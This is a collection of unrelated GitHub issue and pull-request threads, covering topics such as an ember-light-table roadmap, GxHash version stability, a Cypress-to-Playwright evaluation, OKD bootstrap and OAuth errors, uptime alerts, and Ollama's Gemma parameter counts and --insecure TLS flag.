Modular behaviors + Keyboard support #347
Integrate vertical collection for rendering performance. Work being done here

I think bringing these two should be the MVP for a 2.0 release along with some general refactoring.

proper support for horizontal scrolling (#284) seems like a good next big goal.

+1

Freezing columns (after vertical collection is implemented)

This should be implemented after the first two as it is solely dependent on how we render the rest of the table.

"Out of the box" column and cell types

These would be good but maybe we can do it in a 3rd party addon? That way others can easily contribute and it will also be forced to use the public API.

Yup we're all talking & thinking about the same things. I updated the OP

These would be good but maybe we can do it in a 3rd party addon? That way others can easily contribute and it will also be forced to use the public API.

:heavy_check_mark:  First would be figuring out what all is out there, and then organizing them into addons.

authors: alexander-alvarez buschtoens offirgolan

repo: offirgolan/ember-light-table


text:
will there be an application release with an exe file, for ordinary people, I like to read comics, but I'm not good at Python

will there be an application release with an exe file, for ordinary people, I like to read comics, but I'm not good at Python

When things are a bit more stable, I'll work on that. Right now it's much faster prototyping this way.
That said, you really don't need python or git knowledge to use this.
Maybe this would help ?
https://streamable.com/6j8b2g


text:
Clarification regarding hash stability

The description says that

All generated hashes for a given version of GxHash are stable

By "given version", do you mean the major version, currently 3, or the patch version, currently 3.4.1.
I want to use gxhash in code generation but this requires the hashes to be the same for all semver-compatible versions of gxhash.

Hello @mahkoh, they are stable for a given major version (eg using 3.2.4 or 3.4.1 it should return the same hash for a given input). If we were to make changes that alter values of generated hashes, we would bump the package to the next major version (eg version 4).
I'll clarify this in the readme, thank you for your feedback.

Thanks for the quick reply!

authors: mahkoh ogxd

repo: ogxd/gxhash


text:
POC: Migrate Cypress to Playwright for Initial Evaluation

Features to be evaluated

Faster execution time compared to existing cypress
Auto-waiting mechanism
Mobile emulation support in test
Integrate with BrowserStack to check cloud-based testing
Multiple tab test support
Support Third-party reporting tools eg: Allure

What are we missing with Cypress?

Jest

Cypress lacks auto-waiting for delayed API responses; Playwright handles this automatically, reducing flaky tests.
Cypress 13.0+ discontinued third-party integrations for test coverage report generation
Cypress runs tests in one browser at a time; Playwright supports in-built multi-browser parallel testing.
Cypress is slower compared to Playwright.

Note: I am still working on the POC to understand if it's worth doing the migration

Jest isn't ideal for E2E testing and lacks a head UI, making debugging slower with only console logs and breakpoints.

Closing the POC of Playwright migration because of the following reasons:

Flaky tests are still occurring even after using the await functionality.
We cannot freeze a particular step in the test video replay to understand which APIs were called during a specific action.
Migrating all the files, even with a specifically configured chatbot, can be energy- and time-consuming, which doesn’t provide real value as debugging the code might take time.
For integrating BrowserStack and commenting on each URL PR preview, we need to run separate GitHub actions and maintain all configurations ourselves, whereas Cypress offers single-click cloud integration, which is easier.


text:
🛑 Reportes is down

In 29187df, Reportes (https://repository.ohelit.co/jasperserver/login.html) was down:

HTTP code: 502
Response time: 517 ms

Resolved: Reportes is back up in 61790ce.

repo: ohelitco/status


text:
Added an operating system

I've added my OS that I've very casually worked on in my spare time for about a year now. I think it has enough substance to be worth sharing at this stage.

Thx for the PR!

authors: RavSS ohenley

repo: ohenley/awesome-ada


text:
Fix link to Gson TypeAdapter example

This fixes the link to the Gson TypeAdapter example on javacreed.com.

Link seems to work without?

authors: DarkGear sikoried


text:
🛑 Documentation is down

In ff1ad67, Documentation (https://docs.ohmysmtp.com) was down:

HTTP code: 500
Response time: 3330 ms

Resolved: Documentation is back up in 5af22ae.

repo: ohmysmtp/status


text:
two quick questions about the new version

Hi,
I cannot get the old version(v0.3.1) to work. So I plan to try your pre-released new version.
Just two quick questions:

I need to use some other package like BWA to run the second step of  the typical workflow, right?

Align, sort, index
...
produces: bam_file.bam, bam_file.bam.bai

Does the region parameter  (-r chrN:posA-posB) refer to the target region? If so, given there are several  target genes, can they be  put together as a text file?(something like bed file)
Thanks a lot!
Best,
Adrian

H Adrian,

After extraction of the uids, you'll need to an align (we use bwa mem) against the reference genome prior to collapsing and calling variants.
Consensus calls based on uids is done over discrete target regions.   I believe the current implementation will only take a single region.  You'd need to write your own script to work with multiple regions, running the tool in parallel for each region, then combining the results afterwards.

note that I'm in the process  now of reviewing much of the work on this version, which was mostly done by a co-op student on my direction.  I'm hoping in the next month to test, debug and further document.  Please feel free to use and identify issues you are finding.

Hi Lawrence,
Got it,  thank you so much for the prompt responses! Will let you know if I get any problems.
Best,
Adrian

Multiple regions are now allowed by passing a bed file to the run sub-module, providing users have access to SGE. This will launch jobs to run group and collapse in parallel on each region.
There is also an option to merge outputs from group and collapse, merging specifically the consensus files and the data files

authors: lheisler rjovelin tyrosine

repo: oicr-gsi/debarcer


text:
RigidBody 3d Edge Collisions

I have a simple box collision shape and then I slide a capsule (or sphere) over the top of it. Everything works well until the capsule gets to the edge of the box and tries to slide off the side. The capsule gets stuck and slides along the edge and not off the side as expected. An example project that shows this behavior can be found here:
http://dreamsage.com/fps1.zip
Tested on Win7 64 on v1.1 RC2

Your problem happens because you set the scale in the capsule shape, godot will not work correctly with this, instead, set the radius and height like this:

Reference here:
https://github.com/okamstudio/godot/wiki/tutorial_physics_2d#transforming-shapes
This limitation apparently is valid for 3D too.

close?

repo: okamstudio/godot


text:
OKD 4.11 | Bootstrap issues | failed at release-image-pivot.service

Description
I see following error while checking the release-image-pivot.service logs
[core@bootstrap ~]$ journalctl -b -f -u release-image-pivot.service
Jan 16 10:46:40 bootstrap.vjain-okd.vjain.lan podman[2016]: 2023-01-16 10:46:40.161355132 +0000 UTC m=+0.232406258 container remove 3491dd6fec3593a6168181dc741554429ad0ba84bf39c07d8bc0914e3514b94b (image=quay.io/openshift/okd@sha256:924958ed5ba93ea9d72e4b5a319d0d4df220edbb891816c106215cbf318a0a40, name=zen_chaplygin, io.openshift.release=4.11.0-0.okd-2022-12-02-145640, io.openshift.release.base-image-digest=sha256:6584aa581e369eceb39188a14669b78040e5408e544cd499385b2cbee6278e00)
Jan 16 10:47:03 bootstrap.vjain-okd.vjain.lan bootstrap-pivot.sh[2053]: Error: writing blob: storing blob to file "/var/tmp/storage1480818424/1": happened during read: unexpected EOF
Jan 16 10:47:03 bootstrap.vjain-okd.vjain.lan bootstrap-pivot.sh[1882]: Pull failed. Retrying quay.io/openshift/okd-content@sha256:fa1104b5fd668474d8787ddde8de9d9a1cad86ff3d6b478d988e32b61e43415a...
Jan 16 10:48:01 bootstrap.vjain-okd.vjain.lan bootstrap-pivot.sh[2976]: dc6adb5f9c3536c24de8f424c82d04c0c74db871c60ae58de536f3e42969e1d9
Jan 16 10:48:01 bootstrap.vjain-okd.vjain.lan podman[2976]: 2023-01-16 10:47:05.041916684 +0000 UTC m=+1.795650271 image pull  quay.io/openshift/okd-content@sha256:fa1104b5fd668474d8787ddde8de9d9a1cad86ff3d6b478d988e32b61e43415a
Jan 16 10:48:01 bootstrap.vjain-okd.vjain.lan bootstrap-pivot.sh[1882]: attempt to record the end of a stage without starting one
Jan 16 10:48:01 bootstrap.vjain-okd.vjain.lan systemd[1]: release-image-pivot.service: Main process exited, code=exited, status=1/FAILURE
Jan 16 10:48:01 bootstrap.vjain-okd.vjain.lan systemd[1]: release-image-pivot.service: Failed with result 'exit-code'.
Jan 16 10:48:01 bootstrap.vjain-okd.vjain.lan systemd[1]: Failed to start release-image-pivot.service - Pivot bootstrap to the OpenShift Release Image.
Jan 16 10:48:01 bootstrap.vjain-okd.vjain.lan systemd[1]: release-image-pivot.service: Consumed 1min 29.036s CPU time.
Version
OKD-version: 4.11.0-0.okd-2022-12-02-145640
UPI Method
How reproducible

Followed the required steps to produce ignition file for bootstrap node from the following document:
https://docs.okd.io/4.11/installing/installing_vsphere/installing-vsphere.html#machine-vsphere-machines_installing-vsphere

Created a VM with all the prerequisites and started it.

Log bundle
log-bundle-20230117124519.tar.gz

Jan 16 10:47:03 bootstrap.vjain-okd.vjain.lan bootstrap-pivot.sh[2053]: Error: writing blob: storing blob to file "/var/tmp/storage1480818424/1": happened during read: unexpected EOF

Is this reproducible or a one-off storage issue?

Okie, Let me check by creating new cluster from scratch.

authors: vjaincatalogic vrutkovs

repo: okd-project/okd


text:
Error when changing the OAuth server URL.

Hello,
Guys, I need help with the following problem I'm facing.
OKD 4.14.0-0.okd-2024-01-06-084517.
I changed the OAuth server URL according to the documentation:

https://docs.openshift.com/container-platform/4.14/authentication/configuring-internal-oauth.html#customizing-the-oauth-server-url_configuring-internal-oauth.

The problem is that after the change was made, the Authentication Operator started to delete secret "v4-0-config-system-router-certs" and no longer recreate it.
I0415 17:04:44.794283       1 event.go:298] Event(v1.ObjectReference{Kind:"Deployment", Namespace:"openshift-authentication-operator", Name:"authentication-operator", UID:"a6fed5de-232d-49d3-a87a-343050721ac0", APIVersion:"apps/v1", ResourceVersion:"", FieldPath:""}): type: 'Normal' reason: 'TargetSecretDeleted' Deleted target secret openshift-authentication/v4-0-config-system-router-certs because source config does not exist
E0415 17:04:44.794887       1 base_controller.go:268] TrustDistributionController reconciliation failed: secret "v4-0-config-system-router-certs" not found
E0415 17:04:44.800526       1 base_controller.go:268] TrustDistributionController reconciliation failed: secret "v4-0-config-system-router-certs" not found
E0415 17:04:44.805338       1 base_controller.go:268] ConfigObserver reconciliation failed: secret "v4-0-config-system-router-certs" not found
I tried to create the file manually but the Operator deletes the secret again.
Em anexo logs do authentication-operator
logsAuthenticationOperator.txt
Can you help me with this problem?

Hi,
We are not working on FCOS builds of OKD any more. Please see these documents...
https://okd.io/blog/2024/06/01/okd-future-statement
https://okd.io/blog/2024/07/30/okd-pre-release-testing
We will be providing documentation on upgrading clusters from 4.15 FCOS to 4.16 SCOS. In terms of clusters that are older, you may be able to get help from community members. I'll convert this to a discussion to facilitate that.
Many thanks,
Jaime

authors: JaimeMagiera fabianostocco


text:
completedVaccinationNumber isn't defined in i18n for vaccination graph

In English, Estonian and Russian translation.

Thanks for reporting this. This has now been fixed.

authors: blinchk neuroactive

repo: okestonia/koroonakaart


text:
Inconsistency in meal price outlier classifier

What is the problem?
In some publications made by Rosie's Twitter, it is noted that the value identified as suspect is within the standard deviation established by the classifier.
As can be verified in the following suspicion:
Suspicions Tweet
Jarbas Documebt
In this case the value is only 34.50 BRL.
How can this be addressed?
I think it is necessary to adjust the classifier rules or improve the training set.

Arguably this example does not shows what you claim it does.
1. Average value for this venue is R$ 13
Using Jarbas's shell_plus we can see they are low in term of total value/price, in average each claim if for R$ 13.22:
In [1]: import statistics

In [2]: values = tuple(r.total_net_value for r in Reimbursement.objects.filter(cnpj_cpf='05467695000130'))

In [3]: sum(values) / len(values)
Out[3]: Decimal('13.22262773722627737226277372')

2. Standard deviation is R$ 6
Also, the standard deviation is around R$ 6.66 (hey devil 😈):
In [4]: statistics.stdev(values)
Out[4]: Decimal('6.655636628195527505758211117')

This R$ 34 happens to be above the threshold
Thus the threshold is R$ R$ 33.19, below the example value of R$ 34,05:
In [5]: (sum(values) / len(values)) + (3 * statistics.stdev(values))
Out[5]: Decimal('33.18953762181285988953740707')

Also we can check the (arguably) low values in Jarbas: https://jarbas.serenata.ai/dashboard/chamber_of_deputies/reimbursement/?q=05467695000130

What I mean is… Rosie has a good accuracy, but 100% is impossible. This example seams more a false-positive than a bug. Sure we can learn with this example and improve the classifier, let's say, to ask it to only consider venues with averages greater than a certain minimum limit ; )

authors: cuducos sergiomario

repo: okfn-brasil/serenata-de-amor


text:
timemapper login with twitter is not working

Hello,
The login authentication is not working.

@danfowler could you check and confirm this one way or the other?

@rgrp hm, it just worked for me on two different accounts.  @palash019 can you try again?

Hello, thanks it's working now. Thank you.

authors: danfowler palash019 rgrp

repo: okfn/timemapper


text:
公式换行

公式不能换行，只能留有空格

@Shao818 可以直接换行， 把公式放在两个$符内即可： ${公式}$， 比如：

@Shao818 可以直接换行， 把公式放在两个$符内即可： ${公式}$， 比如：

一般来说应该是使用姿势不对，当然不提供更详细的内容是无法得知的

一般来说应该是使用姿势不对，当然不提供更详细的内容是无法得知的

authors: Shao818 lryong olOwOlo

repo: olOwOlo/hugo-theme-even


text:
Fix/japanese

Hi! I want to fix and propose for using in japanese.

Fix language code 'jp' to 'ja'
In ISO 639, Japanese language code is 'ja'

Expression of 'テーマ' seems to should be 'Theme'
'Powered by' is written in english, so 'Theme' looks good be written it too.
It seems natural to me.

I love this theme ! Thanks.

Thanks for your contribution.


text:
[OSB] Mypets command missing count

The new /tools user mypets command doesn't show current count (X/49) anymore. Can we get that added back in?

Done

authors: FatOrangeKitty gc

repo: oldschoolgg/oldschoolbot


text:
🛑 QR Ruby is down

In 44a8b5d, QR Ruby (https://qrruby.onrender.com/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: QR Ruby is back up in 1ee52c8 after 14 minutes.


text:
Jimp read bmp to base64 results in wrong colours

Hi,
When reading a BMP file using the .read method and then converting the image to a base64 string using the getBase64 method the image is not the same as the original image anymore. The weird thing is that it does not happen to all BMP's i'm converting, only a few.
Original BMP:

Converted BMP:

Code:
const image = await Jimp.read("path/to/image.bmp");
image.getBase64(Jimp.MIME_BMP, (err, data) => { // Assigning data to image element });

Version: browser v0.2.27
Thanks in advance,
Smaïl

@Smiley01987 Can you try again with latest master?

repo: oliver-moran/jimp


text:
Bug fix rotate method #49: use max dimension

@oliver-moran, this should do it. Can you review?

Thanks, @speediro and sorry for being silent for two weeks. I'll do some tests and publish over the weekend.

Released to NPM just now. Thanks!

authors: oliver-moran speediro


text:
Add Feature cat fielddata API

add the Cat Fielddata API and test cases.

Thanks.

authors: olivere qilingzhao

repo: olivere/elastic


text:
define multivector geometric product

Change-Id: Ibf3783361f6d8097f80dee937568f916f78d5612

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Comparison is base (8da5d2d) 96.92% compared to head (72be832) 97.18%.

Additional details and impacted files
@@                              Coverage Diff                              @@
##           I7248d0d0914596783ab1a416713ab13bf5eada56      #12      +/-   ##
=============================================================================
+ Coverage                                      96.92%   97.18%   +0.26%
=============================================================================
  Files                                              1        1
  Lines                                             65       71       +6
  Branches                                           2        2
=============================================================================
+ Hits                                              63       69       +6
  Partials                                           2        2

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

authors: codecov-commenter oliverlee

repo: oliverlee/geometry


text:
Wrong parameters for gemma:7b

What is the issue?
Type ollama show gemma:7b: the parameters are 9b, not 7b.
OS
No response
GPU
No response
CPU
No response
Ollama version
No response

We are releasing weights in two sizes: Gemma 2B and Gemma 7B.
https://cloud.google.com/blog/products/ai-machine-learning/gemma-model-available-in-vertex-ai-and-via-gke?hl=en

I see, but the problem is the parameter should not be 9b.

https://ollama.com/library/gemma:7b
There is only 2b and 7b. Can you explain the issue here?

The issue is type ollama gemma:7b: the parameter shown on the screen is 9b.

The issue is type ollama show gemma:7b: the parameter shown on the screen is 9b.

Ah, now I see what you mean: "num_params": 8537680896 for gemma 7b
https://ollama.com/library/gemma:7b/blobs/ef311de6af9d
There is a discussion going on out about that: https://huggingface.co/google/gemma-7b/discussions/34
Not a bug in ollama, the information is right there. But I understand your confusion here.

Thank you. I also observed the same issue for gemma 2b. The parameter shown on the screen is 3b.

It's just the way Google wanted to market the LLMs. The actual parameter counts are correct. The 2b and 9b are their marketing terms.

authors: d-kleine pdevine qzc438

repo: ollama/ollama


text:
Allow https with insecure flag

The insecure flag now disables TLS verification on https requests
Fixes #2622

I don't really have a strong opinion on what the final UX should be, but the primary use-case I was trying to solve for is end-users who have (corp) proxies that are running with untrusted server certs, and for whatever reason, wiring those root certs into the system to get Go to trust it is non-trivial.  It's certainly not universal, but I thought our --insecure flag was equivalent to curl's, and was surprised that it downgraded the scheme from https -> http.  Initially this PR just "fixed that" but it was pointed out that some developers are running their own registries locally and are relying on that flag to run over http, so we most likely need two flags/settings to satisfy these different use-cases.

Going to close this given its age, however we'd want to support looking at the URL's protocol (e.g. https or http), with a flag for overriding security checks (e.g. skipping tls verification)

authors: dhiltgen jmorganca